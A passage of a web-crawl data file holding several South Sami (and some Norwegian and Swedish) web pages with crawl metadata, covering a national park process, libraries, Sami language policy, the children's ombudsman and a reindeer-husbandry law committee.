skaepiedidh. Dan gaavhtan leah Naturvårdsverke jïh Leeneståvroe Jïemhten leenesne aalkeme daejnie åålmegemiehtjieprosessine.\nNaemhtie åålmegemiehtjiem skaepiedidh\nÅålmegemiehtjiem skaepede lea guhkies prosesse gusnie gellie aktöörh meatan. Abpe barkoem dialogine sjidtieh voenges, regionaalen jïh nasjonaalen aktöörigujmie.\nNaturvårdsverken åålmegemiehtjiesoejkesje lea barkoen aalkove. Bïevnesh jïh dialoge voenges aktöörigujmie lea prosjeekten rööpses laejkie.\nJis almetjh meatan årroeh dellie dastegh åålmegemiehtjie buerebe hammoem jïh buerebe guarkemem åådtje. Dïhte lea vihkeles ektiebarkojne jïh bïevnesh åejvieladtjigujmie, tjïeltigujmie, organisasjovnigujmie jïh datnine gie dajvesne årroeh jallh guessine dajvese båata.\nDajvine gusnie båatsoe dah sïjth leah vihkeles gujmieh.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/www.valadalen-sylarna-helags.se\/varfor-bildas-nationalparker-sam\/","date":"2018-09-26T01:15:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267162809.73\/warc\/CC-MAIN-20180926002255-20180926022655-00198.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":198,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jeenebh gærjagåetine iedtjeles vuesiehtimmieh jïh öörnemh öörnieh, daamtaj ovmessie siebriej jïh åårganisasjovnij ektine. Maanide vaajesboelhkh jïh vuesiehtimmieh maanide öörnieh. Gærjagåetien bïevneshsæjjan bieljeldh jis datne sïjhth meatan årrodh jïh vuesiehtimmiem jallh öörnemem öörnedh.\nGærjagåetie faalaldahkem almetjidie giej lea sjïere daarpoeh faala. Desnie g.j. tjoejegærjah, aelkieslohkeme gærjah jïh gærjah stoerre bokstavijgujmie. Dejtie gieh eah maehtieh gærjagåatan båetedh faala gåetiefaalaldahkh.\nUpmejen åålmehgærjagåetie ektine dah gærjagåetieh Bjurholmesne, Nordmalingesne, Robertforsesne, Vindeln´sne jïh Vännäsesne barka. Maahtah löönedh, bååstide vedtedh jïh gærjagåetien faalaldahkh nuhtjedh abpe Upmejedajvesne. Dah gærjagåetiej lea aaj ektine gåetiesæjroe, www.minabibliotek.se, jeenebh e-faalaldahkijgujmie.\nSidan har granskats 2009-09-11\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/kultuvre\/garjagaetie.4.2aeb902411d30c9e460800061159.html","date":"2018-10-23T12:04:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516135.92\/warc\/CC-MAIN-20181023111223-20181023132723-00388.warc.gz","language":"sma","language_score":0.9999449253,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999449253082275}","num_words":129,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Tuhtjebe hijven buektiehtamme daam pedagogeles -psykologeles bïevnesem daejtie smaave gielide jarkoestidh, dihte Noerhte-Trøøndelaagen fylhkenålma, øøhpetimmiedirektøøre Knut Olav Dypvike jeahta.\nDaelie maahta PP- barkoen bijre, åarjelsaemien gïelesne lohkedh, Noerhte-Trøøndelagen fylhkenålma, nedte-bielesne:\n\" Pedagogeles-psykologeles dïenesje\nPedagogeles Psykologeles dïenesje (PP-dïenesje) akte aamhtesemaehteles suerkie mij maanaj\nevtiedimmien, lïerehtimmien jïh tråjjadimmien bïjre raereste mah leah skuvleaalteren nuelesne, jïh\nlearoehkidie maadth- jïh jåarhkeskuvlesne. PP-dïenesje aaj geerve almetjh viehkehte mah\nmaadthskuvlelïerehtimmiem daarpesjieh. PP-dïenesjen barkoe reaktavåaromem åtna\nööhpehtimmielaakesne. PP-dïenesje akte faageles vierhtie maanagïertide\/skuvlide juktie\nlïerehtimmiem buerebelaakan sjïehteladtedh maanide jïh learoehkidie sjïere daerpiesvoetigujmie.\"\nMaanah mij åarjelsaemien gïelem goh voestes gïeline utnieh, mejtie dah daam PP-barkoem, åarjelsaemien gïelesne åadtjoeh?\n– Håhkoem åtnam! Dannasinie daam bïevnesem buakteme. Tjïeltiej dah mij edtjieh daam PP barkoem faaledh. Daelie dah eejhtegh maehtieh daam bïevnesem åarjelsaemien gïelesne lohkedh, Dypvike jeahta.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.nrk.no\/sapmi\/noerhte--troondelaagen-fylhkenalma--aarjelsaemien-gielesne-beavna-1.12108975","date":"2018-10-20T08:03:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512592.60\/warc\/CC-MAIN-20181020055317-20181020080817-00513.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":123,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Norske Samers Riksforbund\/NSR-Sáb og sametingsrådet fremmer ved sametingsplenum i september en ny og moderne litteraturpolitikk som sikrer flere samiske bøker og en bedre formidling av samisk litteratur.\n– Vi vil ha mer samisk litteratur til flere lesere. Derfor ønsker vi å satse offensivt på produksjon av ny samisk litteratur på flere av de samiske språkene, samt å opprette litteraturformidlingsstillinger i Sør- og lulesamiske områder, sier Márjá-Liissá Partapuoli fra NSR\/Sáb\nNSR\/NSR-Sáb trekker frem viktigheten av å jobbe for en større støtte til produksjon av samisk litteratur.\n– Per i dag utgis det altfor lite samisk litteratur, særlig på de mindre samiske språkene som sør- og lulesamisk. Vi må sikre at folk får tilgang til samisk litteratur, men også se til at det faktisk finnes nye og tilgjengelige romaner, ungdomsbøker og kjærlighetsbøker for samiske lesere, fortsetter Partapuoli.\nEtter at regjeringen kuttet i Sametingets kulturbudsjett, ser NSR\/NSR-Sáb seg nå nødt til å omprioritere kulturmidlene man faktisk har.\n– Sametinget den eneste institusjonen som har ansvaret for produksjon av samisk litteratur. Med det økonomiske handlingsrommet vi har i dag, har vi ikke samvittighet til å fortsette binde opp så mye penger til litteratur i bokbussene. Særlig da utredningen vår viser at tilbudet ikke når frem til store deler av den samiske befolkningen. Husk at det er kommunene og fylkene som har ansvaret for bibliotektjenester, sier Partapuoli.\n– Vi legger derfor om det som har vært støtteordningen til bokbusser som formidler, og satser på nye måter tilpasset vår digitale tid. Det inkluderer de nye litteraturformidlingsstillingene samt en satsing på digitale løsninger- som lydbøker og e-bøker, fortsetter Márjá-Liissá.\nMárjá-Liissa har tiltro til at den nye litteraturpolitikken vil være til det beste både for forfattere og lesere av samisk litteratur.\n–Jeg ønsker at det skal produseres nye samiske lesersensasjoner, for eksempel en ny \"Lájlá\", men da må Sametinget være villige til å satse på produksjon av litteratur, og nye grep for å nå samiske lesere. Jeg har troen på at denne satsingen kommer til å bli et stort løft både for samiske forfattere og lesere, avslutter Partapuoli.\nAajhtoeh bæjngoelistie mijjen aerpievuekien jieliemidie haestieh, jïh båatsoe lea sjïerelaakan behtjiedamme. Itjmies dejtie fuelhkide mah båatsojne gïehtelieh, jïh dan åvteste båatsoe lea akte dejstie guedtije tsegkijste saemien kultuvresne dellie aaj itjmies don saemien siebriedahkese.\nNöörjen Saemiej Rïjhkesiebrie (NSR) akte dejstie lïhtsegesiebrijste Saemieraaresne. Laejhtemen mænngan, mij bööti Saemieraerien stoerretjåanhkoe, saemiekonferansen vööste, gosse ij gååvnesh åarjelsaemien toelhke, bellie organisasjovne mïeriedamme faala maeksedh akten biejjen toelhkestimmien åvteste.\n–Sïjhtebe viehkiehtidh guktie åarjelsaemien saadthalmetjh åadtjoeh konferansesne saemiestidh, joekoen daen jaepien gosse tjåanghkoe Tråntesne Tråante 2017 100-jaepieheevehtimmesne. Vihkeles Elsa Laula Renbergen gïele vååjnesisnie ojhte daen jaepien, NSR:en åejvie Beaska Niillas jeahta.\nNSR faala dle Saemieraaran maeksedh åarjelsaemien toelhkestimmien åvteste seminarebeajjan \"ellies Saepmie\", jis gååvnese toelhke gïe maahta dam darjodh. Beaska Niillas guarka geerve maeksedh toelhkestimmien gaajhkh saemien gïeli åvteste, mohte aaj barkij dan barkose gaavnedh.\n–Daajram man geerve onne organisasjovnese lea gelline gïeline barkedh. Dïhte hov akte dejstie stoerre haestemistie Saepmesne, gellieh gïelh, mohte vaenie beetnegh jïh gïelevierhtieh. Daejnie onne viehkine håhkesjibie mijjieh maehtebe viehkiehtidh annetje gujht dovhtesjidh dam gaskem mij gïeli gaskemsh, NSR:en åejvie jåarhka.\n(Du kan velge nordsamiske (finsk), lulesamiske (dansk), sørsamiske (svensk) eller norske undertekster under innstillinger.)\nGieries gaajhkesh dovnesh\nDaan jaepien jåvle lij lissie buerie båeteme munnjien, akten guhkies jïh barkoes tjaktjen mænngan. Manne gegkestem dijjieh aaj naan seadtoes jåvlebiejjieh åtneme. Mubpien jaepien edtjebe 100 jaepieh aavoedidh saemiepolitihkeles barkojne gosse Tråantesne gaavnedibie – goevten 2017. Gegkestem mijjieh buektiehtibie 2017 darjodh akten jaapan måahtadimmine saemien siebriedahkesne, guktie gaajhkh mijjieh vielie ektievoetem jïh vieksiesvoetem damtebe. Daan tjaktjen aktem gïeledigkiedimmiem åtneme mij geerve orreme, men dagke maehtebe maam akt destie lïeredh?\nGaajhkem lehkiem gusnie fealedeminie jïh saemieh gaavnesjem, dle aaj soptsesh saejriesvoeten bïjre govlem. Mearoegaedtien mietie lea dov soptsese, mij ij leah åådtjeme saemien lïeredh daaroedehtemen gaavhtan, mij mannem jeenjemes duahta. Datne mij dagke damth datne leah saemien siebriedahken ålkolen. Dagke datne govleme datne ih leah nuekies hijven saemie, juktie ij leah iktesth dïhte saemien ektievoete lea nuekies feerhmeles. Dagke raaktan dïhte saemien gïele mïsse datne ektiedimmiem åtnah lea akte gïele maam vaenieh soptsestieh, jïh dannasinie geervebe lïeredh.\nIj vaajmoegïelem maehtedh. Manne aaj dam domtesem damtem. Mov eejhtegh idtjin munnjien saemesth, jalhts jïjtjh meehtin. Dah don baelien profesjonelle raeriem leajhtadin mij jeehti ij lij hijven maanide guektiengïeline årrodh. Munnjien akte stoerre gåaroes raejkie sjïdti, akte stoerre ohtselimmie.\nMænngan jieliedisnie, mænngan manne goh geerve almetje lim saemien lïereme, jïh aadtjen mov voestes maanam åådtjeme, dellie aktem orre såarhts saejriesvoetem damtim. Edtjim dam saemien nuhtjedh maam meehtim, maam damtim ij lij nuekies hijven? Dagke sïjhtim dellie vaahrese båetedh dam persovneles lïhkesvoetem dassedh mij edtja tjædtjetjeguaktaj gaskem årrodh.\nManne baersieldimmietjiehtjielisnie tjahkasjim gosse dam stoerre veeljemem veeltim, maanine mov faerhmesne. Aalkoelisnie maanese sïmmim – dan isveligke jïh sååjrehke lij dååjrese. Gosse dïsse bååstede vuartesjem dellie garmere sjïdtem. Daelie daajram manne reaktoelaakan veeljim, jïh dagke daate lea dïhte veeljeme maam ellen jeenjemes garmerdem daan biejjien. Manne aaj garmere, gosse daelie jaepien 2016 byögkelesvoetesne saemestem, jalhts fïerhte voestesgïeleldh almetje maahta hov dutnjien soptsestidh manne gujht ånnetji moltestem.\nGosse jeenjesigujmie dejstie soptsesteminie mah saemien gïelem hïejmeste utnieh, dellie akte jeatjah såarhts saejriesvoete jïh vaejvie. Manne damtem guktie datnine, mij dagke irhkesovveme dan åvteste datne saemie jïh saemesth. Dagke govleme dov daaroen gïele ij leah dan hijven daagkarijstie goh manne, mij daaroen voestesgïeline åtna. Datne dagke aaj dam persovneles dïedtem damth, jis ibie mijjieh mah saemesth gïelem guhkiebasse vaeltebe, dellie ij gïele sïjhth naan båetijem aejkiem utnedh.\nSaemien almetjh, manne gegkestem mijjieh jåvli mænngan aelkebe dam vigkiem mijjen gaskem måjkoedidh maam mijjen siebriedahkesne utnebe. Måjhtelh man joekoen åajvoeh, mijjieh annje jïjtjene gïelh utnebe. Mijjieh maehtebe, gaajhkesh dovnesh, jïjtjene nuepiejgujmie, mijjen buaratjommesem darjodh ihke gïele gååvnese aaj båetijen aejkien. Manne gegkestem mijjieh maehtebe dam ektesne darjodh, bielelen vaahrese båetedh aktem joekehtsem sjugniedidh gïeh hijven jïh nåake saemieh. Juktie gaajhkesh seamma hijven saemieh. Datne mij saemesth. Jïh datne mij ij leah saemien lïereme.\nGegkestem dijjieh naan raeffies jåvlebiejjieh åadtjode, jïh mijjieh sinsitnine buerie bïevsterinie jïh leajhtadimmine gaavnesjibie jåvli bissiebiejjiej mænngan. Lahkoe jåvlh!\n– Mijjieh tjoerebe dejtie saemien voeresidie vuejnedh goh almetjh joekehts vierhtiejgujmie jïh joekehts daerpiesvoetigujmie, Nora Marie Bransfjell jeahta, mij saemiepolitihken sïjse sæjhta juktie aaj voeresi aamhtesidie soptsestidh, dovne dejtie voeresidie daan biejjien jïh dejtie mah iktemearan båeries sjidtieh.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/nsr.no\/?lang=sma","date":"2018-10-18T16:45:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511889.43\/warc\/CC-MAIN-20181018152212-20181018173712-00491.warc.gz","language":"sma","language_score":0.9997842908,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 0.9997842907905579}","num_words":1013,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raarvihken tjïelte, guektien gïelen tjïelte, saemien gïelereereme dajvesne 1.1. b. 2013 sjïdti.\nAkte gïelebarkoesijjie lea Gïeleaernesne. Gïeleaernien barkoe lea jih saemiengïelem- jïh saemien kultuvremaahtoem bueriedidh, orreste gïelesijjieh stealladidh jïh dejtie gïelesijjide evtiedidh mah joe gååvnese. Eadtjohkelaakan saemiej jïjtjhdomtenassem evtiedidh jïh gïelejarngem evtiedidh.Guektien gïele tjïeltem evtiedidh.\nDihte mubpie barkoesijjie lea guektien gïele goevtesisnie.Dïhte mij barkoem desnie åådtje dïedtem åtna dejtie guektien gïelen tjïelten soejkesjidie jïh latjkojde goeredh, jïh dam guektien gïelen tjïeltem evtiedidh.\nVaenie almetjh gïelebarkoesijjide syøkeme.\nDaelie Raarvihken tjielte gøøkte orre gïelebaarkijh daejtie barkoesijjide ohtseminie. Minngemes ohtseme biejjie lij njoektjen minngemes biejjien. Dihte Raarvihken tjïelten goevteseåejvie Heider Sæther beavna, dealie leah nieljie jallh vijhte almetjh daejtie barkoesijjide ohtseme. Vaajtelamme jienebh syøkeme.\n– Buerebe orreme jis jienebh syøkeme. Daate joekoen gïelebarkoesijje. Ij man gellieh sijhth syøkedh gosse tjuerieh saemien gïelem maehtedh, Sæther jeahta.\nTjïelten gïelekrïebpesjimmiem giehpiedamme.\nDaate leah maam akth tjoerebe darjodh, dihte goevteseåejvie jeahta.\n– Bïevnestjaalegisnie dellie tjïelte gïelemaahtoem giehpiedamme. Vïenhtebe jienebh dellie daejtie barkoesijjide syøkoeh.\n- Lohkh aaj:http:\/\/www.nrk.no\/sapmi\/samegillii\/dihte-guektiengielen-reereme-tjielte-maahta-stoerre-tjieltesne-gaatoelidh-1.12240796\nRaarvihken tjïelte edtja båetien våhkose dah, almetjigujmie soptsestidh jih goerehtalledh gie mij barkoesijjiem åadtje.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.nrk.no\/sapmi\/vaenie-almetjh-aarjelsaemien-gielebarkoesijjieh-ohtseme-1.12297334","date":"2018-10-17T04:47:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510969.31\/warc\/CC-MAIN-20181017023458-20181017044958-00321.warc.gz","language":"sma","language_score":0.999992013,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999920129776001}","num_words":168,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fálaldagat | Almmustahtton: 29.06.2006 | Bargo- ja sosiáladepartemeanta\nDán lea álgoálggus almmuhan: Bargo- ja searvadahttindepartemeanta\nPressemelding\nNr.: 87\nDato: 29.06.06\nGalka åarjelsaemien gïelem nænnoestidh\nGïeleskreejrehtimmieprosjekte Elgåen tjïeltesne vihth jåhta.\nBarkoe- jïh Inkluderingsdepartemente, Maahtoedepartemente jïh Tjïelte- jïh Regijovni Departemente 500 000 kråvnah prosjektese vedtieh guktie åådtje buerebh-laakan åarjelsaemien gïelem skuvlejaepien 2006\/ 2007 gorredidh jïh nænnoestidh.\nBarkoem maam Elgåen skuvlesne dorjeme, vihkeles åarjelsaemien gïelen gaavhtan. Dah leah buektiehtamme åarjelsemien gïelem lutnjedh, guktie maanah daelie saemiestieh. Barkoe- jïh Inkluderingsdepartemente åtna daerpies åarjelsaemien gïelem gorredidh jïh nænnoestidh. Dan åvteste dam daejtie beetneh-vierhtide vadteme. Sïjhtijibie Maahtoedepartementine jïh Saemiedigkine ektine vyökedh eensi åarjelsaemien ööhpehtimmiem tsegkedh, Staatetjaelije Berit Oskal Eira jeahta, gie lea Barkoe-Inkluderingsdepartementesne lea.\nProsjekte lea beetneh-vierhtieh saemiedigkeste 2002-n raejeste åådtjeme. Prosjekten ulmie lij åarjelsaemien gïelem gorredidh, learoevierhtieh jïh lïerehtimmieh darjodh. Prosjekte lea buerie jåhteme, gusnie dovne åarjelsaemien maanah jïh laedtien maanah meatan lin.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.regjeringen.no\/se\/dokumenter\/Galka-aarjelsaemien-gielem-nannoestidh\/id419197\/","date":"2018-10-22T08:58:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514879.30\/warc\/CC-MAIN-20181022071304-20181022092804-00209.warc.gz","language":"sma","language_score":0.9996265173,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9996265172958374}","num_words":129,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanatjirkije edtja maanaj jïh noeri åvteste soptsestidh. Mijjieh barkebe maanaj reaktaj åvteste.\nDïhte nöörjen maanatjirkije lij veartenen voestes maanatjirkije. Daelie gååvnesieh maanatjirkijh gelline laantine veartanisnie .\nGånka maanatjirkijem neebnesåvva, jïh maanatjirkijinie govhte jaepieh barka.\nInga Bejer Engh maanatjirkijem sjïdti jaepien 2018 jïh edtja dejnie barkedh jaepien 2024 raajan.\nMah leah mijjen laavenjassh:\n- Mijjieh edtjebe hoksedh maanaj jïh noeri mïelh govlesuvvieh, jïh dej reaktide dåeriedamme.\n- Akte mijjen vihkielommes laavenjassijste lea geehtedh dejtie gïeh sjæjsjalieh (åejvieladtjh) Nöörjesne maanakonvensjovnen mietie barkedh, mij lea bielie nöörjen laakeste.\n- Maanatjirkije lea saaht maam jearohks. Dïhte sæjhta jiehtedh mijjieh jïjtje sjæjsjalibie mejnie edtjebe barkedh jïh mij mïelide edtjebe utnedh.\nGuktie mijjieh barkebe:\nMaanatjirkije voejhkele aaj åejvieladtjide tsevtsedh guktie buerebe siebriedahkem maanide jïh noeride skaepiedidh. Dam darjobe dej tjïrrh:\n- lohkemh almetjidie gïeh maanajgujmie jallh maanaj åvteste berkieh\n- prievine åejvieladtjide gåessie mïelebe maanaj reaktah eah leah hijvenlaakan vaarjelamme\n- jiehtesh gosse laakh edtjieh tjaeledh jallh jeatjahtehtedh\n- gihtjedimmine meedijisnie jïh darjomh sosijaleles meedijinie\n- politihkerh gaavnedidh reerenassesne jïh Stoerredigkesne\nMijjieh aaj raerieh jïh bïevnesh vedtebe maanaj reaktaj bïjre persovnidie gïeh mijjem govlehtellieh gaskeviermesne, e-påastine jallh telefovnine.\nAkte dejstie vihkielommes aatijste mejnie barkeminie, lea maanajgujmie jïh noerigujmie soptsestalledh dej dååjremi bïjre jïh dijjen raerieh jïh vuajnoeh vijriesåbpoe dejtie gïeh sjæjsjalieh.\nMaanatjirkije fïerhten jaepien sjïere tsåaskelesvoetem riektie aktem jallh gellieh suerkide gusnie vuejnebe daerpies maanaj reaktaj nænnoestidh.\nMaam mijjieh maehtebe dutnjien darjodh?\nGaajhkh maehtieh Maanatjirkijem govlehtalledh. Mijjieh maehtebe gyhtjelassh vaestiedidh dov reaktaj bïjre jïh dutnjien raeriem jïh dåarjoem vedtedh. Dïhte maahta gyhtjelassem årrodh skuvlen bïjre, dov fuelhkien bïjre, maanavaarjelimmie, healsoe, asylemaanaj reaktah jallh jeatjah aamhtesh. Mijjieh aaj maehtebe dutnjien bievnedh jeatjaj bïjre gïeh maehtieh dutnjien viehkine årrodh.\nMaam ibie maehtieh datnem viehkiehtidh?\nMaanatjirkije ij maehtieh:\n- jeatjahtehtedh aamhtesem maam jeatjah byjjes åejvieladtjh leah sjæjsjalamme vuesiehtimmien gaavhtan maanavaarjelimmie, UDI, dov skuvle jallh dåapmoestovle.\n- meatan årrodh gosse eejhtegh tsælloeh dej maanaj bïjre, jallh tsælloe eejhtegi jïh maanan gaskem.\nMohte gaajhkh bïevnesh, mejtie mijjieh åadtjobe, dan bïjre guktie maanah veasoeminie, maehtebe nåhtadidh gosse åejvieladtjide jiehtedh dah tjuerieh dejtie jeatjahtehtedh. Dïhte maahta årrodh jeatjahtehtemh laakine jallh vuekiem guktie laaki utnedh. Gosse mijjieh dam darjobe, dïhte dan gaavhtan mijjieh mïelebe maanaj reaktah tjuara buerebe geehtedh.\nNaemhtie datne mijjem govlehtallh:\n- datne maahtah e-påastem seedtedh email@example.com\n- datne maahtah mijjese ringkedh telefovne 22 99 39 50\n- datne maahtah mijjen webbesæjrose www.barneombudet.no vuejnedh jallh ryöktesh mijjem gihtjedh www.spørbarneombudet.no\n- datne maahtah mijjem facebook:esne, twitter:isnie jïh instagram:esne dåeriedidh","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/barneombudet.no\/samegiella\/sorsamisk\/","date":"2018-10-19T16:24:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512411.13\/warc\/CC-MAIN-20181019145850-20181019171350-00153.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":375,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apostillesteempele ij sisvegem tjaatsegisnie vihtesth, men nænnoste notarius publicusen nommevæhta lea rïektes. Daate legaliseringe gohtjesåvva.\nFylhkenålma tjaatsegh legaliserede mejtie edtja ålkolaantesne nåhtadidh, daate sæjhta jiehtedh tjaatsegh mejtie edtja laantine nåhtadidh mah Haag-konvensjovnem ratifiseradamme.\nÅlkoerijhkedepartemeente (ÅD) aktem orrestamme læstoem daej laantigujmie åtna. ÅD aaj bïevnesh åtna tjaatsegi bïjre mejtie edtja nåhtadidh dejnie laantine mah eah leah Haag-konvensjovnem ratifiseradamme. Tjaatsegh mejtie edtja Noerhtelaantine nåhtadidh, eah apostillesteempelem daarpesjh. Dellie nuekies aktine notarialnænnoestimmine.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Almetjh-jih-siebriedahke\/Apostillesteempele-tjaatseginie\/","date":"2018-11-19T18:45:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746061.83\/warc\/CC-MAIN-20181119171420-20181119193420-00124.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":69,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sametinget og Norske Reindriftssamers Landsforbund (NRL) har oppnevnt et lovutvalg som skal gjennomgå reindriftsloven.\nSametinget og NRL er enige om mandatet for utvalget.\n– Utvalget skal se på interne forhold i reindrifta, og kan foreslå ytterligere endringer som sikrer prosesser som er forankret og har legitimitet i reindrifta. Utvalget skal også se på skillet mellom privatrettslig styring og offentligrettslig forvaltning, samt vurdere siidaandelens stilling. Utvalget skal foreslå endringer som vil styrke arealvernet i reindriften, og se på lovbestemmelser knyttet opp mot reintall, sier sametingspresident Keskitalo.\n– Det er viktig å se på loven sammenhengende og med vekt på næringens erfaringer med en reindriftslov som ikke holder folkerettslig nivå. Å få helt konkrete anbefalinger på hvordan loven bør endres gjør det lettere å arbeide aktivt opp mot Stortinget omkring de nødvendige lovendringsprosessene, sier NRL-leder Ellinor Marita Jåma.\nSametingsråd Silje Karine Muotka peker på at Landbruks- og matdepartementet (LMD) beklageligvis har lagt opp til en usammenhengende lovprosess der reindriftsloven skal revideres delvis og oppstykket med paragraf for paragraf.\n– Sametinget har invitert sentrale myndigheter til å nedsette et lovutvalg, men LMD ønsker tydeligvis å fortsatt endre loven i en oppstykket prosess. Det er derfor vi nå oppnevner det aller første samiske lovutvalget, sier Muotka, som mener det er helt riktig at det skjer på feltet reindrift.\n– Reindrifta er en klar urfolksnæring, og samiske perspektiver og synspunkter må ivaretas for å sikre oppslutning fra det samiske folket og reindrifta.\nUtvalget som skal jobbe med den helhetlige gjennomgangen av reindriftsloven består av følgende personer:\nRagnhild Marit Sara - leder av utvalget, jurist\nKirsti Strøm Bull, professor, dr.juris\nSamuel John N. Anti, reineier\nNils Per Jåma, reineier\nEllen Inga Turi, forsknings- og utdanningsdirektør, dr.philos\nNils Mikkelsen Utsi, advokat, sametingsrepresentant og reineier\nAnna Ravna Gaup, reineier\nMattias Åhren, professor, dr. juris\nEllen Sara Sparrok, reineier\n– Vi er også svært stolte av at det er en dyktig samisk kvinnelig jurist; Ragnhild Marit Sara som leder lovutvalget, sier sametingspresident Aili Keskitalo og leder for NRL Ellinor Marita Jåma.\nDen 29. november vil Sametinget invitere til et fagseminar i Alta med utgangspunkt i ulike problemstillinger som selvbestemmelse og eksisterende utfordringer knyttet til reindriftsloven.\n– Vi kommer tilbake til invitasjon til seminaret, men der vil utvalgets leder holde en kort innledning. Dette blir omfattende arbeid, men skal reindriftens interesser bli ivaretatt i de fremtidige lovendringene, må vi gjennom denne prosessen, avslutter Muotka, og sier at Sametinget vil holde sekretariatet for utvalget som skal arbeide innenfor en ramme på to år.\nVoestes saemien båatsoelaakemoenehtse nammoehtamme\nMijjieh garmeres juktie dïhte ellen voestes saemien laakemoenehtse lea nammoehtamme daelie, saemiedigkiepresidente Aili Keskitalo jïh NBR:n åvtehke Ellinor Marita Jåma jiehtieh. Saemiedigkie jïh Nöörjen Båatsoesaemiej Rijhkesiebrie (NBR) leah aktem laakemoenehtsem nammoehtamme mij edtja båatsoelaakem gïehtjedidh.\nSaemiedigkie jïh NBR leah sïemes moenehtsen mandaaten bïjre.\n– Moenehtse edtja dejtie sisnjelds tsiehkide båatsosne vuartasjidh, jïh maahta vielie jarkelimmieh raeriestidh mah prosessh gorredieh mah leah vïedteldahkesne jïh legitimiteetem utnieh båatsosne. Moenehtse edtja aaj raastem vuartasjidh privaaterïekteles stuvremen jïh byögkelesrïekteles reeremen gaskem, jïh sïjtebielien sijjiem vuarjasjidh. Moenehtse edtja jarkelimmieh raeriestidh mah sijhtieh areaalevaarjelimmiem nænnoestehtedh båatsosne, jïh laakenænnoestimmieh vuartasjidh mah leah bovtsetaalen bïjre, saemiedigkiepresidente Keskitalo jeahta.\n– Vihkeles laakese iktemierien vuartasjidh jïh leavloem bïejedh jielemen dååjrehtimmide aktine båatsoelaakine mij ij aktem almetjerïekteles njieptjiem utnieh. Gosse eevre tjïelke juvnehtimmieh åadtjodh guktie laake byöroe jorkesidh, dellie sæjhta aaj aelhkebelaakan Stoerredigkien vööste barkedh dej daerpies laakejarkelimmieprosessi bïjre, NBR:n åvtehke Ellinor Marita Jåma jeahta.\nSaemiedigkieraerie Silje Karine Muotka tjïerteste Laanteburrie- jïh beapmoedepartemeente (LBD) gaatesjen leah akten laakeproseessem sjïehteladteme gusnie sæjhta båatsoelaakem revideradidh såemiesmearan jïh ajve bieline, jïh ajve paragraafeste paragraafese.\n– Saemiedigkie lea staateles åejvieladtjh bööredamme aktem 